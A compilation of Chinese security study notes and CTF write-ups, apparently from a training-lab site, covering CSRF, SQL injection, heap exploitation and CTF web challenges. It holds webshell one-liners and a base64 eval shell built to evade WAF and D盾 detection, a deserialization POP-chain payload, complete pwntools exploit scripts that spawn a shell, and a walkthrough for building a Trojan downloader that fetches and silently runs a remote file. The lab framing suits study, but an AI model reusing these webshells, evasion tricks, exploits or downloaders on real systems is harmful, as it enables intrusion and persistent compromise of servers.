CSRF攻击实验 ——蚁景网安实验室学习笔记
实验链接
本实验以PHP和Mysql为环境,展示了CSRF攻击的原理和攻击过程。通过实验结果结合对攻击代码的分析,可更直观清晰地认识到Web安全里这种常见的攻击方式。
链接:http://www.yijinglab.com/expc.do?ce=5984201a-5b7e-42c2-959b-6e4cdfdb932c
实验简介
实验所属系列:web攻防
实验对象:本科/专科信息安全专业
实验类别:实践实验类
预备知识
● 浏览器有关Cookie的设计缺陷
当前主流的Web应用都是采用Cookie方式来保存会话状态,但是浏览器在引入Cookie时却忽视了一项非常重要的安全因素,即从WEB页面产生的文件请求都会带上COOKIE。只要请求域与Cookie信息所指定的域相一致,无论是访问Web页面,还是请求图片,文本等资源,用户在发出请求时都会带上Cookie。
Cookie的这一特性使得用户始终以登录的身份访问网站提供了便利,但同时,也方便了攻击者盗用身份信息执行恶意行为。
● 什么是CSRF
CSRF(Cross-site request forgery)跨站请求伪造,也被称为“one click attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。CSRF通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
用户登录并访问了一正常网站,登录成功后,网站返回用户的身份标识Cookie给用户。当用户访问到恶意网站时,恶意网站强制用户去向正常网站发送恶意请求。由于用户此时拥有正常网站的Cookie,所以就相当于攻击者盗用了用户身份,去访问了正常(目标)网站。
一次完整的CSRF攻击,需要受害用户需要完成两个步骤:
● 登录正常网站,并在本地生成Cookie。
● 在不退出正常网站的情况下,访问恶意网站。
● HTTP GET和POST请求区别解析
URL全称是资源描述符,我们可以这样认为:一个URL地址,它用于描述一个网络上的资源,而HTTP中的GET,POST,PUT,DELETE就对应着对这个资源的查,改,增,删4个操作。GET一般用于获取/查询资源信息,而POST一般用于更新资源信息。
Get 方法通过 URL 请求来传递用户的数据,将表单内各字段名称与其内容,以成对的字符串连接,置于URL 后,如
http://www.xxx.com/index.php?username=liming&password=123456&
数据都会直接显示在 URL 上,就像用户点击一个链接一样。
Post 方法通过 HTTP Post 机制,将表单内各字段名称与其内容放置在 HTML 表头(header)内一起传送给服务器端。
GET与POST方法实例:
GET /127.0.0.1?username=liming&password=123456 HTTP/1.1
Host: http://www.xxx.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050225 Firefox/1.0.1
Connection: Keep-Alive
POST / HTTP/1.1
Host: http://www.xxx.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050225 Firefox/1.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Connection: Keep-Alive
实验目的
● 了解Cookie在设计方面存在的缺陷
● 掌握CSRF攻击的原理
● 掌握Get和Post形式CSRF攻击脚本的写法
实验环境
两台Windows XP机器(分别安装有XAMPP集成部署环境),两台机器网络连通
一台机器部署正常网站(留言板)10.1.1.189
一台机器部署恶意网站 10.1.1.23
部署正常网站的主机环境中有Chrome浏览器(或其他方便抓包分析的浏览器或工具)
实验步骤
步骤一
任务描述:实验基于Get形式的CSRF攻击
一、在target主机机中登录留言板
打开浏览器,登录留言板网站:http://10.1.1.189/csrf-get-target/login.php
进入后,输入用户ID admin与密码 123456 登录,登录后可看到admin用户的留言内容。
二、留言并分析留言数据包
点击添加留言按钮进入留言添加页面:
按F12按钮打开Chrome浏览器的调试工具(或打开其他等效的Http调试软件),切换到Network标签一栏,选中Preserve Log选项,准备抓取留言数据包。
在输入框中分别输入标题和内容,点击add按钮。在调试窗口中点击”add.php?title=…”一项查看刚才发送留言请求的Http协议内容,如下图所示:
从抓包截图中可以看到,我们在留言板中输入的内容,附在页面请求地址中发给了服务器,这种参数字段存放在URL中的请求叫做GET请求。即我们首先尝试的是基于GET请求形式的CSRF攻击,下节会介绍POST请求形式的CSRF攻击。
同时我们发现用户在添加留言请求中,附带了用户身份标识Cookie字段。当然这里为演示用,我们直接把明文用户名和密码当作了Cookie值。
三、登录恶意网站并查看CSRF攻击效果
用户在浏览器中新建一标签页,访问恶意网站: http://10.1.1.23/csrf-get-attacker/ attacker.html
我们发现恶意网站表面看上去就是一个正常的网页,但事实上恶意网站在后台已经向用户下发了恶意脚本,该脚本利用了之前用户登录留言板所保存的Cookie信息,冒充用户在留言板上进行留言。
重新访问留言板网站: http://10.1.1.189/csrf-get-target/list.php,发现留言板上多了一条恶意的留言内容,如下图所示:
该留言内容就是刚才我们登录恶意网站过程中身份被冒充而发表出来的。
步骤二
任务描述:实验基于Post形式的CSRF攻击
一、登录留言板
打开浏览器,登录留言板网站: http://10.1.1.189/csrf-post-target/login.php
进入后,输入用户ID admin与密码 123456 登陆。
二、留言并分析留言数据包
按照步骤一中的方法,重新抓取上传数据包,查看留言内容格式。
从抓包截图中可以看到,我们在留言板中输入的内容,附在HTTP请求的Data域中发给了服务器,这种参数字段存放在HTTP Data域中的请求叫做Post请求。
在浏览器中新建一标签页,访问恶意网站: http://10.1.1.23/csrf-post-attacker/ attacker.html
访问留言板网站: http://10.1.1.189/csrf-post-target/list.php
发现留言板上多了一条恶意留言内容。该留言内容就是刚才我们登录恶意网站过程中身份被冒充而发表出来的。
步骤三
任务描述:审查恶意网站代码,了解CSRF攻击原理
返回到恶意网站页面: http://10.1.1.23/csrf-get-attacker/ attacker.html
鼠标右键,点击弹出菜单中的“查看源代码选项”,查看恶意网站代码,如下图所示:
从代码中可以看到,恶意网站在页面中植入了一个标签,由于其通过CSS样式设置为隐藏,所以我们在访问过程中并没有看到实际的标签内容。这个标签通过设置src地址,向留言板网站发送了一条恶意留言请求。由于浏览器保存了我们在留言板网站的身份标识Cookie,并在发送请求时自动将Cookie附带上,所以恶意网站就成功盗用了我们的身份,完成了一次恶意留言行为,这就是基于GET请求的CSRF攻击全过程。
返回到另一恶意网站页面: http://10.1.1.23/csrf-post-attacker/ attacker.html
鼠标右键,点击弹出菜单中的“查看源代码选项”,查看恶意网站代码,如下图所示:
从代码中可以看到,恶意网站在页面中植入了一个form表单,这个表单的action设置为留言网站地址。同时植入的还有一段Javascript代码,该段代码功能是自动提交form表单数据。这样,当用户访问到该恶意网站时,实际上就通过Post方法向留言板发出了一条恶意留言请求。
答题
SQL注入实验学习笔记
实操靶场地址:https://www.yijinglab.com/expc.do?ec=67dd4a67-d8c7-4bfa-a4d0-4bc3a2a65b04&pk_campaign=heetian-wemedia
根据指导书我们要先在实验机进入这个网址http://10.1.1.11:81
进入之后会看到三个实例。
实例一
根据指导书的提示来做这一题。后面两个实例也要看这个指导书。
先判断是否存在注入
方法一 在参数后面加上单引号,比如:
http://xxx/abc.php?id=1’
如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。当然还有可能加了’,和没加是一样的,这也有可能是注入。因为当把错误提示关闭时,它是不会在页面显示的。
方法二
构造 and 1 = 1 和 and 1 = 2
如果两个页面显示不一样,那么就说明存在注入了。
这里使用的是方法二。
两次显示不一样,存在注入。
猜测字段数
在后面加一个 %23或–+把后面的注释掉
使用order by 来对数据进行排序,我们可以从1开始测试或者使用均分法先从一个大的数据测,然后再分半。
先用5能出现数据
http://10.1.1.11:81/sqli/example1.php?name=root’ order by 5%23
接着用6试一下
http://10.1.1.11:81/sqli/example1.php?name=root’ order by 6%23
此时已经出错所以有5个字段
使用union联合注入,union 的作用是将两个 sql 语句进行联合,union 前后的两个 sql 语句的选择列数要相同才可以。
猜字段内容
实例二
这个实例的操作步骤和第一个实例的差不多,就是不能用空格,至于为什么不能用空格,可以看一下指导书
虽然说是少用空格但是出现空格就会报错,但在判断是否注入的时候不出现空格是可以的
在猜测字段数的时候以为把空格去掉就可以但其实是错的,因为之前没怎么做过sql注入的题目,所以就在网上搜索了一下怎样绕过空格。
有两个解决方法
我是用的第一种方法。接下来的步骤和实验一的一样
猜测字段数
这个也是5个字段
猜字段内容
实例三
实例三和实例二的操作方法完全相同。
看是否存在注入
猜测字段数
这里也是5
猜测字段内容
绕过waf的另类木马文件攻击方法
很久没写文章了,继上次发先文章到今天已经很久了;很久没写文章了,继上次发先文章到今天已经很久了;今天突发异想;因为之前打了西湖论剑,遇到了宝塔的waf,最后也是过去了,便觉得另类的攻击方法值得写篇文章分享下;首先我打算分享几种。
一:动态调用
首先,一些waf会对文件内容进行检索,如果发现有什么危险的函数,或者有什么危害的逻辑,都会进行拦击,所以我们不能写入一些危险的函数,否则就会被ban掉,其实在实际的攻击中,也是存在和这次论剑web1一样的绕过方式,在我们真正恶意代码前加入大量杂糅字符进行绕过;然后对后缀进行换行绕过;
那么就会存在此次web1的动态调用解法;
写入<?php $_GET['0']($_GET['1']);?>我们在上传的文件中并没有出现什么危险的函数,而是通过后期的get传入进行动态调用从而执行命令;这样就会绕过上传时waf的检测;但是绕不过disable_function;;
载荷效果如下:
二:利用.htaccess文件
对于利用.htaccess文件的攻击方法,其实有很多方法;包括自我包含造成后门,或者auto_prepend_file文件,或者自定义报错目录然后利用包含报错写入木马最后自定义包含,AddType等等。当然如果想搞怪的话,也是可以利用.htaccess打出存储型xss的效果;但是这里主题分享如果过滤了内容中的一些敏感字符应如何。
比如过滤了<? 或者 < ;这里也是老方法了;之前也写过,利用.htaccess进行编码的转化,base64或者UTF-7都可;我们只需要将木马文件进行相应的编码即可;这种方法可以绕过waf的检测,但是也是绕不过 disable_function;
三:利用文件修改文件造成木马
这种方式也确实值得分享,也是基于waf对我们的木马内容进行过滤;当我们无法上传带有危险函数的木马时;可以使用文件篡改文件的方法;这种方法基于第二种方法.htaccess无法传入的时候;
比如:先传入PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=命名为1.php;这里我们上传时waf自然不会检测到,因为我们确实没有危险函数;然后再次传入第二个没有高度危险函数的2.php代码:
代码逻辑简单,将我们的文件,进行了base64解密,然后写入的一个新的php文件中,这样避免了file_put_contents这个极大概率被ban的函数的出现,又成功的写入了文件,我们访问2.php,然后再访问s1mple.php就可以拿到shell;载荷效果如下:
四、利用低危木马;
基于第三种方法,我们如果不是拿权限的话,也是可以利用一些低危的操作,比如任意文件读取等等;
下面先来看这段getshell的代码
这段代码在之前可以绕过D盾,是基于注释的绕过;现在不确定还能否绕过;简单分析下逻辑;首先$s1mple得到本篇代码的所有内容;然后执行一个替换的语句;先释放出木马语句;然后再将php头换掉,保持了原本的php头;这样就释放出了木马,就可以通过get传参进行命令执行;
或者换种方法,这里我们可以直接file_get_contents函数进行攻击,
<?php echo file_get_contents($_GET['a']);?>
这样也就可以达到任意文件读取,当然,因为php的特性,也可以对file_get_contents进行各种处理,使其绕过waf;也可以结合其他php的内置函数进行攻击,可以类比;这里不在细说;
五:利用逻辑问题
这种思想比较新颖;简单来说,我们并不是传入恶意代码,而是传入一段正常的代码,然后通过逻辑修改其运作走向,从而达到恶意执行,那么适合的就是pop链的构造了;
<?php
error_reporting(0);
class s1mple{
public $A;
function __construct(){
$this->A=new hacker();
}
function __destruct(){
$this->A->action();
}
}
class hacker{
function action(){
echo "hello_hacker";
}
}
class evil{
public $data;
function action(){
eval($this->data);
}
}
unserialize($_GET['a']);
先来看正常的代码;这段代码中我们按照正常的逻辑分析,肯定是没有问题的;但是我们可以利用逻辑,改变其执行的走向从而进行对象注入达到攻击;
O:6:"s1mple":1:{s:1:"A";O:4:"evil":1:{s:4:"data";s:10:"phpinfo();";}}
在我们一般的上传中,往往是图片,就单代码而言,其大小是微乎其微的;所以在实战中也可用到;而且很难被检测到;当然,这只是一种方式,也可以结合回调函数和其他的函数,可以将其隐藏起来,然后利用pop触发;而且如果代码伪造的合适的话,也是可以骗过管理员从而避免被管理员删除的;
六、利用过宝塔waf思路另辟蹊径绕过waf
宝塔的waf对于文件明后缀的检测,是可以通过换行进行绕过的;就譬如我们在例子一中说的那样,那么我们除了对于我们后缀进行换行绕过,我们也可以考虑对我们的filename做手脚;对filename做换行,也可以绕过;
以上这些方法也算是新式方法,当然也可以考虑异或或者自增的木马,也可以通过混淆进行攻击,都可;但是实际中这些往往会被检测,上述的几种方法都是测试后可绕过D盾或者绕过宝塔的方法,供参考;另外一些方法需要可以首先绕过上传对后缀的检测,比如可以换行绕过宝塔对后缀的检测;如果可以上传php,那么以上方法即可任意发挥攻击。
相关实验--https://www.yijinglab.com/expc.do?ec=ECIDee9320adea6e062017110811103300001&pk_campaign=heetian-wemedia
通过该实验了解基于规则的WAF的工作原理,通过分析相关防御规则,尝试使用多种方法进行绕过,使读者直观感受攻防双方的博弈过程。
堆重启_uaf_hacknote
参考链接
http://blog.eonew.cn/archives/490 https://blog.csdn.net/weixin_44864859/article/details/107181869这里记录下经典的含有后门的UAF漏洞程序。
//hacknote 最简单的堆题目 libc 2.23
以及 含后门的UAF漏洞程序 //hacknote先看第一个含有后门的UAF漏洞程序:
查看文件相关属性及开启保护
32位elf程序,没有去符号。// 给源代码会更香。
只开启了NX保护。
$ file hacknote_backdoor
hacknote_backdoor: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked,
interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44ee75c492628b3691cdcdb07759e9bbe551644a, not stripped
$ checksec hacknote_backdoor
[*]
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ida代码分析:
add_note:
其中 print_note_content函数为:
del_note:
print_note:
另外程序中含有 后门:
思路:
创建2个0x18大写的chunk 此时:
然后依次删除 结构体下标为 0 和 1
然后我们申请 个 和固定大小一致的结构体即可。
往新申请的content_addr中 写入 后门函数地址。
最后只要 print 结构体即可 拿到shell。
完整exp:
#coding:utf8
from pwn import *
context.log_level="debug"
p=process("./hacknote_backdoor")
#p=remote("node3.buuoj.cn",29525)
elf=ELF("./hacknote_backdoor")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
def add(size,content):
p.sendlineafter("Your choice :","1")
p.sendlineafter("Note size :",str(size))
p.sendlineafter("Content :",content)
def delete(index):
p.sendlineafter("Your choice :","2")
p.sendlineafter("Index :",str(index))
def show(index):
p.sendlineafter("Your choice :","3")
p.sendlineafter("Index :",str(index))
'''
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "text_base : "+hex(text_base)
print "jiegoutishuzu : "+hex(text_base+0x202040)
'''
magic=0x08048945
notelist=0x0804A048
add(0x18,"\x11"*8) #1 #2
add(0x18,"\x22"*8) #3 #4
#gdb.attach(p)
delete(0)
delete(1)
#gdb.attach(p)
pd=p32(magic)
add(0x8,pd)
#gdb.attach(p)
show(0)
p.interactive()
无后门的hacknote
如果题目把后门去掉呢?这里同时也去除了符号。除此之外,程序其它几乎一摸一样.
$ file hacknote
hacknote: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a32de99816727a2ffa1fe5f4a324238b2d59a606, stripped
$ checksec hacknote
[*]
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
这里先把 此程序的 数据结构给写下呢。
typedef struct note //0x10
{
void (* puts)(note *);
char *note_content;
}note;
note *ptr[5];
思路:
因为没有后门,那么首先的一件事就是 去leak libc.
这题在add函数中,maloc一个size=0x10的chunk作为note结构体,然后又申请一个任意大小(我们可控制的)的chunk作为note_content的指针。
所以 我们可以去申请一个unsigned 大小的chunk,然后再将它给delete掉,便可以leak libc_base,
嗯嗯,其实并不会,因为这题 在打印 note_content的时候,会调用 该结构体中的 void (* puts)(note *)函数。而在我们将它给delete 的时候会将它给置空。导致 无法进行 打印。那么我们要怎么做呢。
这里我原本去想,我们继续和上面有后门的时候一样操作,先申请两个 size不等于0x10的chunk,然后分别进行delete,然后再申请 一个size=0x10的chunk,并在新 malloc的chunk中 写入 void (* puts)(note ) 以及 __libc_start_main的got地址。但这样 我们接下来 就最多只能再malloc 两个结构体了。这样就无法完成 向 某一个 结构体中 void ( puts)(note *); 给改成 system了。//这里进行了尝试 og一个都不可以成功。
所以这里就需要另外的一种做法了。
刚才所说的思路,在首先进行申请两个 size不等于0x10的chunk,然后再将它分别删除,然后再申请,这无疑一下子 将fastbin上的free chunk给利用完了。 而因为 这题限制了 最多我们最多可malloc 5次。
于是 我们可以首先 申请一个 unsigned 大小的chunk,以及一个size=0x10 大小的chunk,然后将它们分别进行delete(这里要特别注意,先delete unsigned 的chunk,后delete 0x10的chunk,原因是 我们可重复对 0x10的结构体 含有的两个chunk 进行利用。)
最后还需要注意的一点就是 在 getshell的步骤中,我们构造pd2=p32(system_addr)+";sh",而不是
pd2=p32(system_addr)+p32(binsh),原因是 print函数中 传的参数是 *note_content .
完整exp :
#coding:utf8
from pwn import *
context.log_level="debug"
p=process("./hacknote")
#p=remote("node3.buuoj.cn",29525)
elf=ELF("./hacknote")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
def add(size,content):
p.sendlineafter("Your choice :","1")
p.sendlineafter("Note size :",str(size))
p.sendlineafter("Content :",content)
def delete(index):
p.sendlineafter("Your choice :","2")
p.sendlineafter("Index :",str(index))
def show(index):
p.sendlineafter("Your choice :","3")
p.sendlineafter("Index :",str(index))
'''
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "text_base : "+hex(text_base)
print "jiegoutishuzu : "+hex(text_base+0x202040)
'''
notelist=0x0804A050
print "step1: leak libc "+"************************************************"
add(0x68,"\x11"*8) #0 #1
add(0x8,"\x22"*8) #2 #3
#gdb.attach(p)
delete(1)
delete(0)
#gdb.attach(p)
puts_func=0x0804862B
__libc_start_main=elf.got['__libc_start_main']
pd=p32(puts_func)+p32(__libc_start_main)
add(0x8,pd)
show(1)
libc_base=u32(p.recv(4))-libc.symbols['__libc_start_main']
print "libc_base is : "+hex(libc_base)
#binsh = libc.search("/bin/sh").next()+libc_base
#print "binsh is "+ hex(binsh)
system_addr=libc_base+libc.symbols['system']
print "system_addr is "+hex(system_addr)
print "step2: get shell "+"*************************************************"
delete(2)
#gdb.attach(p)
pd2=p32(system_addr)+";sh"#p32(binsh)
add(0x8,pd2)
#gdb.attach(p)
show(1)
p.interactive()
相关实验:https://www.yijinglab.com/expc.do?ec=ECIDf4f4-3f86-44b4-bd4c-e1c88520adde&pk_campaign=heetian-wemedia
在堆的情况下,当用户能够写入比预期更多的数据时,会发生内存损坏。通过本实验了解堆溢出,包括intra-chunk和inter-chunk两种类型,分别掌握其特点。
逆向入门分析实战(五)
相关阅读:
https://www.yijinglab.com/specialized/20200318110936https://www.yijinglab.com/specialized/20200320140927https://www.yijinglab.com/specialized/20200728141909https://www.yijinglab.com/specialized/20200914131657本次是实现一个木马下载器(Trojan Downloader),从某个指定的URL中下载一个文件,并将其在后台偷偷运行起来。主要使用的API函数是URLDownloadToFile和W
这次分两步开发,第一步开发一个复制自身到C盘windows目录的程序,然后再开发一个木马下载器,同时进行逆向分析。
1开发复制自身的程序
VC6.0默认情况下代码高亮效果不好,安装VC++6.0助手后效果会变好很多,当然也可以使用visual studio。这个看个人喜好。
这段代码首先定义了一个copyself的函数,在copyself函数中首先定义了三个变量,其中前两个变量的数组长度为MAX_PATH,它是一个宏定义,大小为260。之后调用GetModuleFileName这个API函数,将当前运行程序的文件路径存入之前定义好的szSelfFileName变量,同理获得windows的路径。之后使用strcat函数将windows路径与“\\backdoor.exe”拼接,之后使用CopyFile将自身复制到C:\windows\backdoor.exe。
运行效果:
查看运行前后的C盘windows内容:
运行后发现多了一个backdoor.exe。
2 逆向分析复制自身的程序
使用ida打开,发现会弹出该对话框:
这是pdb调试文件,这是开发的时候发布的为debug版。如果修改为release版就没有pdb文件了:
这个pdb文件通常有时可以作为一个特征来筛选一个恶意软件,有时还会被设置IOC情报。所以有时需要关注pdb的相关信息。
main函数:
双击进入第一个call,这个call对应的就是copyself函数:
由于汇编语言太长,这里用VC6.0调试界面来展示:
直接看0040103E处开始的汇编语言,乍一看很复杂,看不懂。其中rep stos指令是repeat和store string的缩写,它循环执行stos指令,循环次数由ecx控制。stos的作用是将eax中的值复制到es:edi指向的地址。再看0040103E处的汇编语言就清晰易懂了,先给ebp-104h赋值0,给ecx赋值40h(十进制的64),然后eax清零,之后edi设置为ebp-103h,使用rep stos指令循环64次将eax赋值给edi指向的地址,由于是以dword进行循环,所以一共64*4=256个字节,再加上0040103E处的1个字节,加上0040105和00401056处
之后查看GetModuleFileName对应的汇编语言:
三个参数从右往左,第一个参数104h为十进制的260,第二个参数eax为初始化的变量ebp-104h,对应的是szSelfFileName,第三个参数为0,之后调用GetModuleFileName API函数。
使用VC6.0和使用ida的结果进行对比,虽然看起来不是很一样,但本质都是一样的。同理接下来调用GetWindowsDirectory,strcat和CopyFileA。对应的汇编基本上都相对容易看懂,此处就不再过多赘述了。之后就是if和else为一个分支判断:
最终结束运行。
3 开发木马下载器
C语言代码如下:
由于URLDownloadToFile需要Urlmon.lib,所以需要使用#pragma comment (lib,"urlmon")。URLDownloadToFile关键参数有两个,一个是要访问的URL,一个是要保存的文件路径。之后使用winexec函数运行下载后的程序,代码的实现很简单,主要就是两个api的调用。
使用另外一个机子,作为服务器,它的IP也就是URLDownloadToFile中的URL,我们将第一步开发的程序改名为test2.jpg,上传到该服务器上,然后使用如下命令开启web服务:
然后执行编译后的程序:
下载成功,并且会将其复制到c盘windows目录下。这里需要注意的是,需要先删除第一步复制自身到windows目录的程序执行后生成的backdoor.exe,否则会报错,错误码为80,使用VC6.0的工具查询:
4 逆向分析木马下载器
与之前类似,使用rep movs指令对一个数组循环赋值:之所以将ecx赋值为7,是因为我这里整个URL为28个字符。然后对剩余的全部赋值为0。
再调用URLDownloadToFile,然后使用cmp对比返回结果与800C0008h:
那么为什么要与800C0008h这个常量对比呢?按照我们开发时是INET_E_DOWNLOAD_FAILURE,当URLDownloadToFile返回结果为它时表示下载失败:
使用ida可以将其转换回来,操作步骤如下:选中这个常量,然后右键:
然后便弹出这个:
选中合适的符号命名常量,然后点击OK即可:
然后执行WinExec:
其中push 5为WinExec的第二个参数,使用同样的方法将其转换为常量:
转换后为SW_SHOW,与我们开发的一样。
5 总结
这次实现了木马下载器,思路和实现很简单,主要就是调用URLDownloadToFile和WinExec函数。被下载的木马主要是调用了GetModuleFileName和CopyFile等函数将自身复制到windows目录。目前市面上的杀软应该都会对URLDownloadToFile这些敏感的函数进行查杀,所以本次案例仅供学习逆向分析使用。
6 相关实验--https://www.yijinglab.com/expc.do?ec=ECID321a-87b0-45bf-a21b-a2c8ca7d1b00&pk_campaign=heetian-wemedia
本实验首先通过一个简单的破解实验和大家一起熟悉逆向工具的使用,接着借助一道0Ctf中的逆向题目和大家一起对一个二进制程序进行逆向分析
通过 realloc_hook 调整栈帧使 onegadget 生效
在某些堆的题目当中,由于限制只能使用 house of spirit 等方法劫持 malloc_hook ,这种情况一般是往 malloc_hook 写入 onegadget ,再次申请堆来 getshell 。
由于栈帧情况不满足,查询到的所有 onegadget 可能都打不通,这时就可以考虑下用 malloc_hook 和 realloc_hook 结合。先通过 realloc 调整栈帧,然后在运行 onegadget 。
了解realloc
realloc 在库函数中的作用是重新调整 malloc 或 calloc 所分配的堆大小。它和 malloc 函数一样有 hook 函数,当 hook 函数不为空时,就会跳转运行 hook 函数(和 malloc_hook 一样的)。
看看 realloc 的汇编代码:(可以把 libc 拖到 ida 中看,也可以泄露地址后 gdb 调试查看 x /20i [addr])
函数一开始有很多的 push ,realloc 函数先执行 push 压栈,然后在跳转执行 realloc_hook 存储的函数。我们就是利用这些 push 调整栈帧。push 的数量发生变化会影响 rsp 的地址,这样就可以控制 rsp 的取值,从而满足 onegadget 的执行条件。除了可以控制 push 数量,还能通过偏移得到其他的 push xxx 。
malloc_hook 与 realloc_hook 配合
将 malloc_hook 劫持为 realloc ,realloc_hook 劫持为 onegadget ,实际运行顺序:
这样就能经过 realloc 调整栈帧后再运行 onegadget 。实际情况中,并不是直接劫持 malloc_hook 为 realloc ,而是要加上一定的偏移,也就是调整 push 的数量,让栈帧结构满足 onegadget 运行。
realloc 这个偏移做题还是逐个试感觉快一点,因为设想是少一个 push ,rsp 就会向前移动一个内存单元,对应的 [rsp+0x30]=[rsp+0x38] ,但实际上有少部分位置可能被其他东西写入改变了原来的值。自行调试体会一下:
原理上是:少一个 push ,rsp 就会向前移动一个内存单元,对应的 [rsp+0x30]=[rsp+0x38],但实际部分位置的值会变,所以逐个试,速度可能比计算快。
例题
[V&N2020 公开赛]simpleHeap
基本功能
一个基本的堆管理器,有增删查改功能。各项功能都是基于下标序号定位操作,上限为10个堆,大小为大于 0 、小于等于 0x6f 。没有结构体,基于两个列表存储堆信息。
漏洞
在修改函数里,调用函数 sub_C39 完成对堆信息的修改。传入的参数如下:
在处理边界问题时,错误使用判断条件,导致溢出 1 字节,正确应该if(i>=size),具体逻辑如下:
思路
使用 off by one 伪造 chunk size,造成 chunk extend ,再利用 unsorted bin 的特点,泄露出 unsorted bin fd 指针的 libc 地址。
将上一步中的 chunk extend 剩下在 bin 中的内存申请出来,造成两个指针指向同一个地址,配合 edit 功能实现 houst of spirit ,劫持 __malloc_hook 。
实际测试后全部 onegadget 因为栈环境问题都无法打通,需要结合 malloc_hook 、 realloc_hook 调整栈环境才能打通。
溢出修改 chunk size 造成 chunk extend ,chunk0 用于溢出 chunk1 ,chunk2 用于读取 unsorted bin fd 指针,chunk3 防止 fake chunk 与 topchunk 合并。溢出 size 是经过计算符合 house of spirit 要求:
泄露 libc 地址后,将 bin 中剩余内存申请出来,该指针与 chunk2 指向相同地址,任选其一释放,再用另外一个修改 fastbin fd 指针:
正常来说将 malloc_hook 劫持为 onegadget 即可,但是测试发现这条题目的栈环境不满足全部 onegadget 条件,这就需要调整阵结构,使 onegadget 生效。需要配合使用 realloc_hook 和 malloc_hook。
将 malloc_hook 劫持为 realloc ,realloc_hook 劫持为 onegadget 。然后通过多次尝试确定偏移为 12 。
EXP
roarctf_2019_easy_pwn
基本功能
一个堆管理器,有增删查改功能。所有功能都是基于列表的下标定位操作对象。用 3 个列表维护堆:chunk_inuse、chunk_size、chunk_ptr。
漏洞
在 edit 功能里面 sub_E26 函数,这个函数用来处理输入长度的,具体代码如下:
当我们要求写入的长度(input_length)大于堆 size 10 个字节时,就可以写入 size + 1 字节,造成 off by one 。
思路
这条题目和 [V&N2020 公开赛]simpleHeap思路一样。
使用 off by one 伪造 chunk size,造成 chunk extend ,再利用 unsorted bin 的特点,泄露出 unsorted bin fd 指针的 libc 地址。
将上一步中的 chunk extend 剩下在 bin 中的内存申请出来,造成两个指针指向同一个地址,配合 edit 功能实现 houst of spirit ,劫持 __malloc_hook 。
实际测试后全部 onegadget 因为栈环境问题都无法打通,需要结合 malloc_hook 、 realloc_hook 调整栈环境才能打通。
EXP
相关实验推荐--https://www.yijinglab.com/expc.do?ec=ECIDf4f4-3f86-44b4-bd4c-e1c88520adde&pk_campaign=heetian-wemedia
对ciscn final的web的小解析
1 Web
输入1点击输入框后会显示如下参数:
看下源码能得到这么两句sql语句:
会发现左右过滤不相同,尝试如下可以把limit语句注释掉:
此时sql语句变成:
空格被过滤了,可以考虑\t或\n来绕过,因此输入如下会发现语句执行成功:
or 1=1发现等于号被过滤,fuzz一下能得到部分可用函数,且左边没有过滤减号:
过滤逗号可以采用from(1)for(1)的形式来绕过。
盲注脚本:
2 Web2
比赛没咋看这个题,源码只存了个app.js跑不起来就没复现,大概看了一下是原型链污染。
player是一个字典,注意到:
因为monster也是一个字典,且存在hp,并且我们是先攻击怪兽,因此我们污染buff的话就可以一刀秒了boss,然后就是用这一个循环进行污染:
传入:
那么就会把玩家的buff污染为1000,那么看到伤害的计算:
攻击+buff,也就是说这里就可以让玩家攻击无限大直接秒了boss了。
本地测试可以发现如下:
打败boss即可getflag。
3 Web3
Web3其实考了两个点一个是反序列化逃逸,一个是反序列化串中的s替换为S时可以把字符串用16进制表示,个人感觉这个题其实就是0ctfpiapiapia+强网杯2020的web辅助。
wwwroot.zip源码泄露。
给了一个user类,逃逸点在于:
至于从哪里进行序列化串的传入,看到:
先说我们传入的虽然是一个数组, 但因为waf处如果我们传入一个flag,就会被替换为index,此时长度差为1。
在这里会把我们的序列化串waf后再反序列化,我们利用它可以逃逸出来一个user对象。
waf的话可以使用s替换为S以此使用16进制来表示flag.php来绕过,这一个过滤限制了我们只能使用old_password字段,否则的话可以采用gopher替换为index来吃掉部分序列化串。
需要伪造的序列化串为这么一串东西,长度为196,所以这里需要196个flag替换为index:
本地模拟一下过waf会发现这里长度980其实就是index的长度总和:
那么余下的序列化串理所当然就逃逸出去了。
update_username=1&old_password=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagf
当然了如果没有前面对字段的格式过滤,也可以采用如下的payload:
update_username=1&old_password=1&update_password=1&updat
一次文件上传,我的网站被拿下了服务器控制权
导语
高一,因为网站被别人黑了,于是开始接触网络安全.....
大家好,我叫Yeuoly,今年高中毕业,准大一新生。
接触网安,还是因为我高一的时候,自己搭建了一个网站,我朋友给我网站的服务器上传了个这样的PHP文件,两分钟就拿下了我服务器的控制权。
也是这以后,我开始重视安全问题,但是当时完全没有方向,仅仅是因为遇到了问题就去学,印象深刻的是我学习XSS的时候,当时花了一天半左右的时间才搞明白什么是XSS,而当我转头一看,我的网站早就被我那个朋友XSS了,甚至还在数据库里留下了到此一游的记录。发现自学的效率实在不高。但当时重心还是在高考,这个只是兴趣学习。
